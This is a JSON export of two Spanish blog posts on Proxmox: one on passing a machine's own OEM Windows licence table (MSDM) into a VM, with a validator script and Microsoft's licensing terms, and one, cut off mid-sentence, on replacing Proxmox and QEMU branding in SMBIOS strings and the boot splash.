[{"content":"La licencia ya está en el firmware Mucha gente tiene una licencia del Fisher-Price OS (Windows) sin haber visto nunca su clave de producto. Vino con la máquina, y la clave vive en el firmware de esa máquina, en una pequeña tabla ACPI llamada MSDM.\nLuego la máquina deja de ser donde se hace el trabajo. O su dueño quiere esa licencia en una VM que ahora te alquila a ti, o la propia máquina se borra, se convierte en un host Proxmox, y se quiere recuperar como VM encima la copia del SO con la que vino.\nMecánicamente, es una opción de QEMU. Ese es el problema. QEMU le pasa cualquier tabla a un invitado sin comprobarla, el invitado se activa con la clave que encuentre, y nada en ningún punto de la pila pregunta si la licencia permite algo de esto. Este artículo cubre qué es la tabla, cómo meterla en una VM sin pasar una corrupta, qué dicen los términos de Microsoft sobre moverla, y por qué una licencia por volumen nunca se acerca a ella.\nQué es la tabla Desde OEM Activation 3.0, un fabricante de PC ya no imprime la clave en una pegatina debajo de la caja, donde cualquiera con la cámara del móvil puede copiarla, y la clave va en cambio al firmware de la máquina. Las herramientas de fábrica de Microsoft «injects the product keys into the firmware», y su paso de validación comprueba «that the MSDM table exists» y que su cabecera y sus entradas «comply with the correct formats»1. Una máquina preparada así queda «activated by using the OA3 DPK in the firmware»2. MSDM es una tabla ACPI normal, y en Linux se lee directamente del firmware:\nsudo cat /sys/firmware/acpi/tables/MSDM \u0026gt; msdm.bin El portátil en el que se escribió esto lleva una. 85 bytes.\nLa especificación publicada de Microsoft define la cabecera ACPI estándar de 36 bytes con la firma MSDM, y ahí se para. Todo lo que hay detrás de la cabecera es una «Proprietary data structure that contains all the licensing data necessary to enable Windows activation»3.\nBytes Contiene Se sabe por 0 a 35 la cabecera ACPI estándar: firma MSDM, longitud, checksum, OEM ID la especificación de Microsoft 36 a 55 20 bytes de campos: versión, tipo de datos, longitud de datos tablas reales, no una especificación publicada 56 a 84 la clave de producto de 29 caracteres, cinco grupos de cinco tablas reales, no una especificación publicada QEMU pasa cualquier cosa que le des El -acpitable file= de QEMU toma la «whole ACPI table from the specified files, including all ACPI headers (possible overridden by other options)»4, y el invitado ve entonces una tabla MSDM exactamente como la presentaría el firmware de un portátil. Se comprobó con una clave falsa a propósito. Los bytes salieron por el otro lado idénticos, de la firma al último carácter.\nQEMU no rechaza nada. Esto es lo que hace hw/acpi/core.c con una subida rota5:\nQué le pasa al fichero Qué hace QEMU Qué ve el invitado La longitud de la cabecera no coincide con el fichero avisa, y luego sobrescribe la longitud con el tamaño real una cabecera válida El checksum no suma cero lo recalcula, en cada tabla, cada vez un checksum válido Clave truncada o destrozada nada, los datos detrás de la cabecera no son cosa suya una tabla de aspecto válido alrededor de una clave rota El invitado no tiene forma de notar la diferencia, y tú tampoco hasta que alguien abre una incidencia de soporte. Lo primero que se sabe de ello es un cliente cuya activación ha fallado.\nAsí que si tus clientes suben estas tablas, compruébalas antes de que QEMU las vea:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Refuse anything that is not a well-formed MSDM table before QEMU sees it.\u0026#34;\u0026#34;\u0026#34; import re, struct, sys t = open(sys.argv[1], \u0026#39;rb\u0026#39;).read() fail = lambda why: sys.exit(f\u0026#34;{sys.argv[1]}: {why}\u0026#34;) if len(t) \u0026lt; 56: fail(f\u0026#34;{len(t)} bytes, too short for an MSDM table\u0026#34;) sig, length = t[:4], struct.unpack_from(\u0026#39;\u0026lt;I\u0026#39;, t, 4)[0] if sig != b\u0026#39;MSDM\u0026#39;: fail(f\u0026#34;signature is {sig!r}, not MSDM\u0026#34;) if length != len(t): fail(f\u0026#34;header says {length} bytes, file is {len(t)}\u0026#34;) if sum(t) \u0026amp; 0xff: fail(\u0026#34;checksum does not sum to zero\u0026#34;) ver, _, dtype, _, dlen = struct.unpack_from(\u0026#39;\u0026lt;5I\u0026#39;, t, 36) if (ver, dtype) != (1, 1): fail(f\u0026#34;version {ver}, data type {dtype}: expected 1 and 1\u0026#34;) if dlen != 29 or 56 + dlen != length: fail(f\u0026#34;data length {dlen}: expected 29\u0026#34;) key = t[56:].decode(\u0026#39;ascii\u0026#39;, \u0026#39;replace\u0026#39;) if not re.fullmatch(r\u0026#39;([0-9A-Z]{5}-){4}[0-9A-Z]{5}\u0026#39;, key): fail(\u0026#34;data is not a 5x5 product key\u0026#34;) print(f\u0026#34;OK OEM {t[10:16].decode(errors=\u0026#39;replace\u0026#39;).strip()!r} key *****-*****-*****-*****-{key[-5:]}\u0026#34;) Comprueba Exige que el fichero cumpla Un fallo significa Firma, longitud, checksum la cabecera documentada por Microsoft el fichero está roto Versión, tipo de datos, longitud de datos, forma de la clave la forma que tienen las tablas reales mira esta a mano, no «esto es falso» Nunca imprime la clave, solo el último grupo. Una clave de producto en un fichero de log es una clave de producto que otro puede usar.\nLanzado contra una tabla buena y tres copias rotas de ella:\nOK OEM \u0026#39;EXMPLE\u0026#39; key *****-*****-*****-*****-EEEEE bad-sum.bin: checksum does not sum to zero bad-trunc.bin: header says 85 bytes, file is 70 bad-sig.bin: signature is b\u0026#39;SLIC\u0026#39;, not MSDM Dónde va, y quién puede ponerla ahí De la subida del cliente a la clave con la que se activa el invitado Tabla del cliente msdm.bin, 85 bytes de su propia máquina Validador firma, longitud, checksum, forma de clave Guardada /etc/pve/priv/ solo root, en cada nodo args de la VM -acpitable file= solo la pone root QEMU reescribe la longitud, recalcula el checksum, no rechaza nada Invitado MSDM en ACPI, la activación lee la clave El validador va delante de QEMU porque QEMU arregla una cabecera rota en vez de rechazarla. La tabla vive en la mitad privada del sistema de ficheros del clúster, así que sigue a la VM a cualquier nodo y solo root puede leerla. Una clave de producto es un secreto. No pinta nada en ningún sitio donde www-data pueda leerla, y pmxcfs te da exactamente un sitio en /etc/pve donde no puede6:\nDónde podría vivir la tabla Quién puede leerla En cada nodo al que la VM puede migrar /etc/pve/priv solo root sí cualquier otro sitio de /etc/pve legible por el grupo, incluido el www-data de la interfaz web sí un directorio en un nodo lo que tú pongas no Con 85 bytes queda lejísimos del límite de 1 MiB por fichero de pmxcfs7:\nmkdir -p /etc/pve/priv/msdm check-msdm.py upload.bin \u0026amp;\u0026amp; cp upload.bin /etc/pve/priv/msdm/9000.bin qm set 9000 --args \u0026#34;-acpitable file=/etc/pve/priv/msdm/9000.bin\u0026#34; qm set --args sustituye la línea entera. Si la VM ya lleva opciones de SMBIOS o de firmware en args, escríbelas todas juntas. Y como args es solo para root, esto es trabajo de tu aprovisionamiento, no algo que un cliente pueda hacer desde la interfaz web. Así es como debe ser. El cliente aporta el fichero, tus herramientas lo comprueban y lo conectan.\nLa tabla mueve una clave, no un derecho Aquí es donde la funcionalidad pide la cabeza fría. Mover la tabla MSDM a una VM mueve la clave. No la licencia.\nLos propios términos de Microsoft lo dicen, y las líneas que importan caben en una tabla:\nCaso Lo que dice Microsoft Fuente Licencia OEM, moverla transferible a otro usuario «only with the licensed device» términos de licencia OEM8 Licencia OEM, cuántas instalaciones «only one instance of the software for use on one device, whether that device is physical or virtual» términos de licencia OEM8 Licencia OEM, en palabras llanas «locked» al PC original «and cannot be transferred to any other PC» blog de pequeña empresa de Microsoft9 La excepción las cláusulas de transferencia «do not apply» cuando el software se adquirió en Alemania o en una lista de otros países términos de licencia OEM8 Alojarla para clientes el Services Provider License Agreement es para «hosted applications to end customers» SPLA10 Ediciones de escritorio como VM alojadas «VMs must be hosted by a Qualified Multitenant Hoster (QMTH)» Microsoft Learn11 La tabla siempre sale de la propia máquina licenciada del cliente, nunca de tus hosts. El caso que cae de lleno dentro de la letra es el más sencillo: la máquina con la que se vendió la licencia, ahora con Proxmox, con esa misma copia del Fisher-Price OS (Windows) movida a una única VM encima. Sigue siendo una instancia en un dispositivo, y los términos OEM lo permiten «whether that device is physical or virtual»8. Una segunda VM, u otra máquina, y ya no.\nEn ese único caso la máquina del cliente y el hipervisor son la misma caja, así que no hay nada que subir ni nada que copiar. El kernel de Proxmox ya expone la tabla MSDM del firmware bajo /sys/firmware/acpi/tables/, legible solo por root, y QEMU en Proxmox corre como root, así que puede tomar la tabla directamente de ahí:\nqm set 100 --args \u0026#34;-acpitable file=/sys/firmware/acpi/tables/MSDM\u0026#34; Apuntar a la tabla viva en vez de a una copia tiene dos consecuencias. La ruta se lee en el nodo donde arranque la VM, así que esto va en un host independiente y no en un clúster: migra la VM y o bien recibe la tabla de ese nodo, otra licencia de otra máquina, o no arranca en absoluto, porque QEMU rechaza un fichero que falta con can't open file … No such file or directory. Y es una línea, lo que la hace una línea fácil de pegar en una segunda VM. Esa segunda VM es el caso que los términos no cubren, así que la recibe una VM y ninguna más.\nAsí que construye la funcionalidad. El mecanismo es sólido, y hay clientes con derecho a usarlo; uno que compró su licencia en Alemania bien puede estar entre ellos. Pero pon el derecho donde le toca: en tus condiciones de servicio, el cliente garantiza que tiene una licencia que cubre ejecutarla en tu VM, y lo hace antes de que el botón de subida haga nada. El validador demuestra que la tabla está bien formada. Nada demuestra que sea suya para usarla.\nLas licencias por volumen nunca se acercan a la tabla ¿Puede un cliente con una licencia por volumen usar la misma vía? No. No hay nada que la tabla pueda llevar.\nMSDM pertenece al canal OEM y a nada más. La propia guía de planificación de Microsoft dice que la activación OEM «is available only for computers that are purchased through OEM channels and have the Windows operating system preinstalled»12. Las licencias por volumen se activan con uno de otros tres modelos, «Multiple Activation Keys (MAK)», «KMS» y «Active Directory-based activation»12, y en todos ellos la clave se instala en el sistema operativo. Nada la lee del firmware.\nMétodo Dónde vive la clave Con qué habla el invitado En una VM de Proxmox OEM, OA 3.0 la tabla MSDM en el firmware los servidores de activación de Microsoft la vía de -acpitable de arriba MAK instalada en el invitado Microsoft, una vez, descontada de las activaciones de la clave funciona con acceso a internet o por teléfono KMS una clave genérica (GVLK) en el invitado el host KMS del cliente en TCP 1688 necesita ruta hasta él, y 25 clientes o 5 servidores antes de activar nada Active Directory una GVLK en el invitado los controladores de dominio del cliente, al menos cada 180 días necesita la VM unida a su dominio AVMA una clave genérica en el invitado la propia licencia Datacenter del host Hyper-V no está disponible en absoluto Así que para un cliente con volumen no hay nada que construir en el hipervisor. Su clave va en su imagen, y lo tuyo es el camino de red: el puerto 1688 hasta su host KMS, o una VPN hasta sus controladores de dominio. El hueco de MSDM se queda vacío, y así debe ser.\nDos cosas pillan a la gente. La clave genérica del soporte por volumen no activa nada por sí sola, porque «the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found»12, así que una VM construida desde la ISO Enterprise del cliente sin camino de vuelta a casa se queda sin activar. Y una licencia de escritorio por volumen no es una licencia por sí sola. Los programas por volumen «cover upgrades to Windows client operating systems only», y «an existing retail or OEM operating system license is needed for each computer»12. La licencia por volumen se apoya en una licencia base, muy a menudo la misma OEM de la que iba la sección anterior, y si puede correr en tu VM sigue siendo la pregunta de alojamiento de esa tabla, no una de activación.\nAVMA se gana una línea propia, porque es la que parece la respuesta. Es la forma de Microsoft de que un host active sus propios invitados servidor, ligando «the VM activation to the licensed virtualization host», y exige «a Windows Server Datacenter edition with the Hyper-V server host role installed»13. Microsoft son claros con el resto: «AVMA doesn\u0026rsquo;t work with other server virtualization technologies»13. En Proxmox, los invitados servidor se activan con tus claves SPLA o con el propio KMS del cliente.\nNada en la pila comprueba los papeles Cada capa aquí hace su trabajo y nada más. El firmware guarda una clave. QEMU copia los bytes y arregla la cabecera. El invitado lee la clave y se activa con ella. Ninguna puede saber si la máquina de debajo es aquella con la que se vendió la licencia, y ninguna se pensó nunca para eso.\nAsí que la comprobación cae en quien gestiona el hipervisor. Una licencia es un acuerdo entre quien la compró y Microsoft, y tu plataforma no es parte de él, pero es lo que mueve la clave, y eso hace la pregunta tuya la pidieras o no.\nDeja la respuesta por escrito antes de que el botón de subida haga nada. Una máquina, una VM, la licencia propia del cliente y su palabra de que cubre esto. No cuesta nada, y te protege a ti tanto como a él. El software moverá cualquier clave que le den. Si debería haberlo hecho es una pregunta que solo una persona puede responder, así que asegúrate de que alguna lo haga.\nMicrosoft Learn, OA 3.0 on the factory floor — «injects the product keys into the firmware»; /Validate comprueba «that the MSDM table exists».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Validate an OEM Activation key — «is activated by using the OA3 DPK in the firmware».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Microsoft Software Licensing Tables (SLIC and MSDM) — tabla 2, desplazamiento 36: «Proprietary data structure that contains all the licensing data necessary to enable Windows activation.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — campos de -smbios por tipo; -acpitable «For file=, take whole ACPI table from the specified files, including all ACPI headers»; -boot «Currently Seabios for X86 system support it.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/acpi/core.c — «ACPI table has wrong length» es un warn_report, y luego se sobrescribe la longitud y se recalcula el checksum.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/pmxcfs.c — las rutas bajo priv se enmascaran a 0777700, todo lo demás a 0777750.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, términos de licencia OEM de Windows 11 — «you may transfer the license to use the software directly to another user, only with the licensed device»; las cláusulas de transferencia «do not apply if you acquired the software in Germany» o en los países de la lista. Copia archivada; la página en vivo rechaza las peticiones automáticas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, archivo del blog de pequeña empresa — «the OEM Windows license is \u0026rsquo;locked\u0026rsquo; to the original PC it comes with and cannot be transferred to any other PC.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Services Provider License Agreement — «for service providers and software development companies licensing eligible Microsoft products to provide software services and hosted applications to end customers.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Windows subscription activation for VDA — «VMs must be hosted by a Qualified Multitenant Hoster (QMTH).»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Plan for volume activation — los tres modelos de activación por volumen; los umbrales de KMS de «at least five computers» para servidores y «at least 25 computers» para clientes, en el puerto TCP 1688; la activación basada en Active Directory, que necesita el dominio «at least once every 180 days»; «the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found»; las licencias por volumen «cover upgrades to Windows client operating systems only».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Automatic Virtual Machine Activation in Windows Server — «AVMA requires a Windows Server Datacenter edition with the Hyper-V server host role installed»; «AVMA doesn\u0026rsquo;t work with other server virtualization technologies.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/proxmox/moving-an-oem-licence-into-a-proxmox-vm/","summary":"Una licencia OEM del Fisher-Price OS (Windows) vive en el firmware del PC como una tabla ACPI llamada MSDM, y QEMU pasa cualquier tabla así a un invitado sin comprobarla. Esto cubre qué contiene la tabla, un validador que rechaza las tablas mal formadas antes de que QEMU repare en silencio sus cabeceras, cómo guardarlas en la mitad privada del sistema de ficheros del clúster de Proxmox, los términos de Microsoft sobre mover una licencia OEM, el único caso que permiten con claridad, tomar la tabla directamente del host cuando la máquina licenciada es el hipervisor, y por qué la activación MAK, KMS, Active Directory y AVMA nunca toca la tabla.","title":"Mover una licencia OEM a una VM de Proxmox, y lo que se mueve con ella"},{"content":"Lo que ve tu cliente cuando arranca tu VM Vendes máquinas virtuales con tu propio nombre. Un cliente enciende una, y lo primero que sale en la pantalla es el logo de otro.\nEso es una VM de Proxmox de serie. No hay nada roto, y Proxmox no hace nada mal: es su producto y su nombre, escribieron el firmware y la interfaz donde aparece, y tienen todo el derecho a ponerlo ahí, igual que un fabricante de servidores pone su placa en el frontal de la caja. Solo que no es el tuyo.\nEl logo es solo el principio. Esto es lo que declara un invitado UEFI de serie con el firmware actual de Proxmox, pve-edk2-firmware 4.2026.08-1, leído desde dentro del invitado con dmidecode:\nDónde mira el invitado Qué lee De quién es el nombre Pantalla de arranque el logo de Proxmox Proxmox Fabricante del firmware (SMBIOS tipo 0) Proxmox distribution of EDK II Proxmox Versión del firmware 4.2026.08-1 la versión del paquete de Proxmox Fabricante del sistema (tipo 1) QEMU QEMU Nombre del producto (tipo 1) Standard PC (Q35 + ICH9, 2009) QEMU Fabricante del chasis (tipo 3) QEMU QEMU Placa base (tipo 2) no existe nadie Interfaz web de gestión el logo de Proxmox, arriba a la izquierda Proxmox Y el logo de arranque no se queda en el firmware. El firmware UEFI pasa la imagen que dibujó al sistema operativo mediante una tabla ACPI llamada BGRT, la Boot Graphics Resource Table, que existe para decir «an image was drawn on the screen during boot»1, y el sistema operativo la vuelve a dibujar en su propia pantalla de arranque. El Fisher-Price OS (Windows) la pone encima de su ruedecita, y Microsoft llama a la BGRT «the standard interface that Windows uses to access the logo»2. El tema de Plymouth por defecto de Fedora hace lo mismo en Linux3. Así que un invitado con el firmware de Proxmox enseña el logo de Proxmox dos veces antes de que nadie haya iniciado sesión.\nNada de esto es difícil de cambiar. Lo difícil es que siga cambiado. El próximo apt full-upgrade volverá a poner la mitad sin decir nada, y la mitad que no vuelve a poner es la que debería preocuparte, que es de lo que trata casi todo este artículo.\nDónde entra en el arranque cada pieza de la marca Encendido QEMU monta SMBIOS y ACPI desde la config Firmware OVMF dibuja su logo interno, SeaBIOS un splash Entrega tablas SMBIOS, ACPI con BGRT y MSDM Arranque del SO redibuja el logo del firmware desde la BGRT Invitado en marcha lee las cadenas, la activación lee la clave de MSDM config de la VM fichero de paquete config de la VM fichero de paquete config de la VM vive en /etc/pve, sobrevive a toda actualización vive bajo /usr/share, apt lo sustituye La marca entra en el arranque por cinco sitios. Tres salen de la propia config de la VM y sobreviven a cualquier cosa que haga apt. Dos salen de ficheros que son de un paquete de Proxmox, y esos son los que una actualización se lleva de vuelta. La tabla MSDM de ese traspaso no tiene nada que ver con la marca. Lleva una clave de licencia, y meter una en una VM tiene su propio artículo: Mover una licencia OEM a una VM de Proxmox.\nTodo lo que hay bajo /usr/share es de apt Una sola regla decide todas las elecciones de abajo. Un fichero que instaló un paquete es fichero del paquete. Edítalo en su sitio y la siguiente actualización de ese paquete machaca tu cambio sin decir palabra, porque para dpkg solo está devolviendo su propio fichero a donde lo dejó.\nAsí que cada pieza de la marca tiene que vivir en algún sitio que no sea de apt. Un nodo Proxmox tiene tres sitios así, y cada uno cuesta algo distinto:\nDónde vive Cómo llega ahí Sobrevive a una actualización Lo que te cuesta La config de la VM en /etc/pve smbios1, y args para todo lo demás Sí, ningún paquete toca la config args es solo para root, y no sale en la GUI Un fichero que dpkg tiene orden de dejar en paz dpkg-divert Sí, la copia del paquete va a un nombre .distrib Las actualizaciones ya no llegan al fichero, lo que importa cuando el fichero es firmware Tu propio directorio, fuera del árbol del paquete /usr/local, referenciado desde args Sí, no es de ningún paquete Tienes que ponerlo tú en cada nodo La descripción que da Debian de una desviación es la más clara: «a way of forcing dpkg not to install a file into its location, but to a diverted location»4. Eso resuelve la interfaz web. Para el firmware es una de dos opciones, y la más peligrosa.\nEl chasis es un puñado de cadenas y una comprobación de permisos SMBIOS es la tabla con la que una máquina se describe a sí misma: quién la hizo, qué modelo es, su número de serie, cómo son la placa y la caja5. La lee dmidecode, la lee cualquier herramienta de inventario que hayas lanzado nunca contra una red, la lee el panel de información del sistema del Fisher-Price OS (Windows), y también la mayoría de las comprobaciones de licencia que deciden si un programa va a funcionar en una máquina concreta. En una VM, la escribe QEMU. De ahí QEMU y Standard PC en la tabla de arriba.\nEl tipo 1 con smbios1 Proxmox expone una sola estructura SMBIOS en la config de la VM: el tipo 1, System Information, como smbios16. Acepta manufacturer, product, version, serial, sku, family y uuid.\nLa pega está en qemu-server, no en la documentación. Todos los campos salvo uuid tienen que cumplir un patrón base64, [A-Za-z0-9+\\/]+={0,2}, así que un valor normal con un espacio se rechaza sin más. Las cadenas reales se codifican en base64 con base64=1 puesto, y qemu-server las vuelve a decodificar antes de montar la línea de comandos de QEMU7. El editor SMBIOS de la GUI lo hace en cada guardado, con el comentario «smbios values can be arbitrary, so encode and mark config as such»8. En la línea de comandos te toca a ti:\nb() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } qm set 9000 --smbios1 \u0026#34;uuid=$(qm config 9000 | sed -n \u0026#39;s/.*uuid=\\([0-9a-f-]*\\).*/\\1/p\u0026#39;),base64=1,\\ manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;),\\ version=$(b \u0026#39;2026.10\u0026#39;),family=$(b \u0026#39;General Purpose\u0026#39;),sku=$(b \u0026#39;ec-gp-4c16g\u0026#39;)\u0026#34; Fíjate en que el uuid vuelve a entrar. Es la identidad de máquina del invitado, y lo que pases a --smbios1 se guarda como la opción entera, así que léelo primero y consérvalo.\nPon la marca en la plantilla, no en cada VM. Un clon de Proxmox recibe un UUID recién generado y conserva todos los demás campos de smbios1, así que cada clon sale con su propia identidad y tus cadenas9, con una excepción, más abajo.\nLos tipos 0, 2, 3 y 11 con args smbios1 se queda en el tipo 1. El fabricante del firmware, la placa base, el chasis y las cadenas OEM van todos por args, la línea que Proxmox pasa tal cual a QEMU, y que su propia documentación llama «for experts only»6. La opción -smbios de QEMU acepta los campos de cada tipo10:\nargs: -smbios \u0026#39;type=0,vendor=Example Cloud Ltd,version=EC-FW 1.0,date=10/04/2026,uefi=on\u0026#39; -smbios \u0026#39;type=2,manufacturer=Example Cloud Ltd,product=EC Virtual Board,version=1.0\u0026#39; -smbios \u0026#39;type=3,manufacturer=Example Cloud Ltd,version=1.0,asset=EC-ASSET-123,sku=ec-gp\u0026#39; -smbios \u0026#39;type=11,value=example-cloud:instance=123\u0026#39; Arrancado en QEMU con esas líneas, el dmidecode del invitado lee:\nEstructura Campo De serie Con tu marca Tipo 0 Vendor Proxmox distribution of EDK II Example Cloud Ltd Tipo 0 Version 4.2026.08-1 EC-FW 1.0 Tipo 1 Manufacturer QEMU Example Cloud Ltd Tipo 1 Product Name Standard PC (Q35 + ICH9, 2009) EC Compute Instance Tipo 1 Family sin especificar General Purpose Tipo 2 Manufacturer estructura ausente Example Cloud Ltd Tipo 2 Product Name estructura ausente EC Virtual Board Tipo 3 Manufacturer QEMU Example Cloud Ltd Tipo 3 Asset Tag sin especificar EC-ASSET-123 Tipo 11 String 1 estructura ausente example-cloud:instance=123 Por el camino salieron cuatro trampas. Las cuatro son silenciosas.\nDar el tipo 0 quita «UEFI is supported». OVMF escribe su propio tipo 0 solo cuando QEMU no ha dado uno; el bucle que recorre las tablas de QEMU pone NeedSmbiosType0 = FALSE en cuanto encuentra un tipo 011. Tu cadena de fabricante sustituye a la de Proxmox, que es de lo que se trata. Pero el tipo 0 de QEMU sustituye también las características de firmware de OVMF, y sin uefi=on la línea «UEFI is supported» desaparece de dmidecode. Vuelve a ponerla con uefi=on. Para los invitados UEFI hay de todas formas un sitio mejor para la cadena de fabricante, dentro del propio firmware, más abajo.\nEl tipo de chasis no se puede fijar. El tipo 3 de QEMU acepta manufacturer, version, serial, asset y sku, y nada más10. Se queda en Other.\nDos definiciones del mismo tipo se fusionan, y gana la última. qemu-server pone su -smbios type=1 pronto en la línea de comandos y tus args al final del todo12, así que un segundo -smbios type=1,manufacturer=… en args no tira el primero: QEMU los fusionó campo a campo, el fabricante salió de args y el UUID se quedó donde lo puso smbios1. Eso importa para la cuarta trampa.\nLas dos mitades tienen dueños distintos. qemu-server comprueba los permisos opción por opción. smbios1 va con las opciones de hardware y necesita VM.Config.HWType, mientras que args cae en el comodín del final, que dice «only root can set»13. La placa, el chasis, el fabricante del firmware y las cadenas OEM son solo tuyos. El tipo 1 no. Cualquiera a quien hayas dado derechos de hardware puede reescribirlo, y en un producto alojado ese bien puede ser el cliente. Si la cadena del fabricante importa, ponla también en args. Gana la última definición.\nEl número de serie ya está en la config Casi todo lo que pertenece al tipo 1 ya está en la config de la VM. El nombre es un buen número de serie, porque qemu-server solo acepta ahí un nombre DNS14: corto, imprimible, nunca con una coma, y lo único de la VM que un cliente va a reconocer.\nCampo del tipo 1 Sacado de Para una VM de 4 núcleos y 16 GiB llamada web-01, con etiquetas production;web Serial Number name web-01 SKU Number cores × sockets, y memory ec-4c16g Family la primera entrada de tags production UUID el UUID de smbios1 que ya tiene sin cambios Manufacturer, Product tus propias cadenas fijas Example Cloud Ltd, EC Compute Instance Dos cosas se quedan fuera. El nodo cambia en cada migración, y vmgenid está hecho para cambiar: todo su trabajo es decirle al invitado que lo han restaurado de una instantánea o construido desde una plantilla15. Ninguno de los dos es una identidad.\n#!/bin/bash # /usr/local/sbin/ec-smbios VMID: rebuild smbios1 from the VM\u0026#39;s own config. set -euo pipefail id=$1 cfg=$(qm config \u0026#34;$id\u0026#34; --current) get() { sed -n \u0026#34;s/^$1: //p\u0026#34; \u0026lt;\u0026lt;\u0026lt;\u0026#34;$cfg\u0026#34;; } b() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } name=$(get name) [ -n \u0026#34;$name\u0026#34; ] || { echo \u0026#34;VM $id has no name to use as a serial\u0026#34; \u0026gt;\u0026amp;2; exit 1; } cores=$(get cores); sockets=$(get sockets); vcpu=$(( ${cores:-1} * ${sockets:-1} )) mem=$(get memory); mem=${mem#current=}; mem=${mem%%,*}; mem=${mem:-512} (( mem % 1024 )) \u0026amp;\u0026amp; size=\u0026#34;${mem}m\u0026#34; || size=\u0026#34;$(( mem / 1024 ))g\u0026#34; tag=$(get tags); tag=${tag%%;*} uuid=$(get smbios1 | grep -o \u0026#39;uuid=[0-9a-fA-F-]*\u0026#39; | cut -d= -f2 || true) uuid=${uuid:-$(cat /proc/sys/kernel/random/uuid)} s=\u0026#34;uuid=$uuid,base64=1,manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;)\u0026#34; s+=\u0026#34;,serial=$(b \u0026#34;$name\u0026#34;),sku=$(b \u0026#34;ec-${vcpu}c${size}\u0026#34;)\u0026#34; [ -n \u0026#34;$tag\u0026#34; ] \u0026amp;\u0026amp; s+=\u0026#34;,family=$(b \u0026#34;$tag\u0026#34;)\u0026#34; qm set \u0026#34;$id\u0026#34; --smbios1 \u0026#34;$s\u0026#34; Los valores por defecto son los de qemu-server, un núcleo, un socket y 512 MiB16, así que una config que no los pone sigue dando un SKU correcto. Lanzado contra la config de la tabla, con qm sustituido por un script que la servía, la línea que escribió llegó a QEMU decodificada igual que la decodifica qemu-server, y el dmidecode del invitado devolvió web-01, ec-4c16g, production y el UUID que ya tenía. Una VM sin nombre se rechaza en vez de recibir un número de serie vacío.\nEl sitio obvio para esto es un hookscript. Es el equivocado. qemu-server lanza el hook pre-start dentro del bloqueo de config que tomó para arrancar la VM, y monta la línea de comandos de QEMU con la config que cargó antes de que corriera el hook17. Un hook que reescribe el número de serie cambia el siguiente arranque, no este.\nAsí que lánzalo desde tu aprovisionamiento, en los cuatro momentos en que cambian sus entradas: crear, clonar, renombrar y redimensionar. Clonar es el que muerde. Un clon conserva todos los campos de smbios1 menos el UUID9, así que sáltatelo y cada VM construida desde web-template declara el nombre de la plantilla como número de serie.\nEl logo de arranque vive en dos sitios distintos Qué logo enseña un invitado depende de su firmware. Los dos firmwares que entrega Proxmox lo sacan de sitios completamente distintos:\nSeaBIOS (bios: seabios, el de por defecto) OVMF (bios: ovmf, UEFI) De dónde sale el logo un JPEG que QEMU entrega al arrancar un mapa de bits compilado dentro del firmware El fichero de Proxmox /usr/share/qemu-server/bootsplash.jpg, 640×480 Logo.bmp, 400×120, 8 bits, compilado en OVMF_CODE_4M*.fd Paquete dueño qemu-server pve-edk2-firmware-ovmf Cambiarlo por VM args: -boot splash=… args apuntando la VM a otro firmware Cambiarlo sin recompilar nada sí no Llega al SO invitado por la BGRT no sí SeaBIOS: un JPEG en la línea de comandos qemu-server pone la misma opción -boot en cada VM que arranca, menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg18. La documentación de QEMU dice que la imagen se muestra «when option splash=sp_name is given and menu=on, If firmware/BIOS supports them. Currently Seabios for X86 system support it»10. OVMF no toma de ahí nada más que splash-time, que usa como tiempo de espera del menú de arranque, y no hay ninguna referencia al fichero del splash en todo OvmfPkg19.\nSustituirlo es una línea en la config de la VM:\nargs: -boot splash=/etc/pve/branding/splash.jpg Un segundo -boot no se pelea con el primero. QEMU lo fusiona igual que fusiona -smbios, gana el último valor, y con dos ficheros de splash la captura mostró el segundo. /etc/pve es el sitio correcto para el fichero, porque es el sistema de ficheros del clúster y todos los nodos ven el mismo splash, y su límite de 1 MiB por fichero queda muy lejos de un JPEG de 640×48020.\nLa imagen tiene que cumplir tres condiciones, y fallar en cualquiera te cuesta el logo o sus colores:\nCondición Por qué Qué pasa si no JPEG o BMP de 24 bits QEMU comprueba el fichero antes de arrancar la VM splash file … format not recognized; must be JPEG or 24 bit BMP JPEG baseline, croma 4:2:0 el decodificador de SeaBIOS no maneja nada más21 ERR_NOT_SEQUENTIAL_DCT o ERR_NOT_YCBCR_221111, y la pantalla en blanco 640×480, como el de Proxmox SeaBIOS pide a la VGA BIOS un modo exactamente del tamaño de la imagen no hay modo que coincida, no hay splash Casi todas las herramientas de imagen escriben baseline 4:2:0 por defecto, así que la forma habitual de perder el logo es una de esas 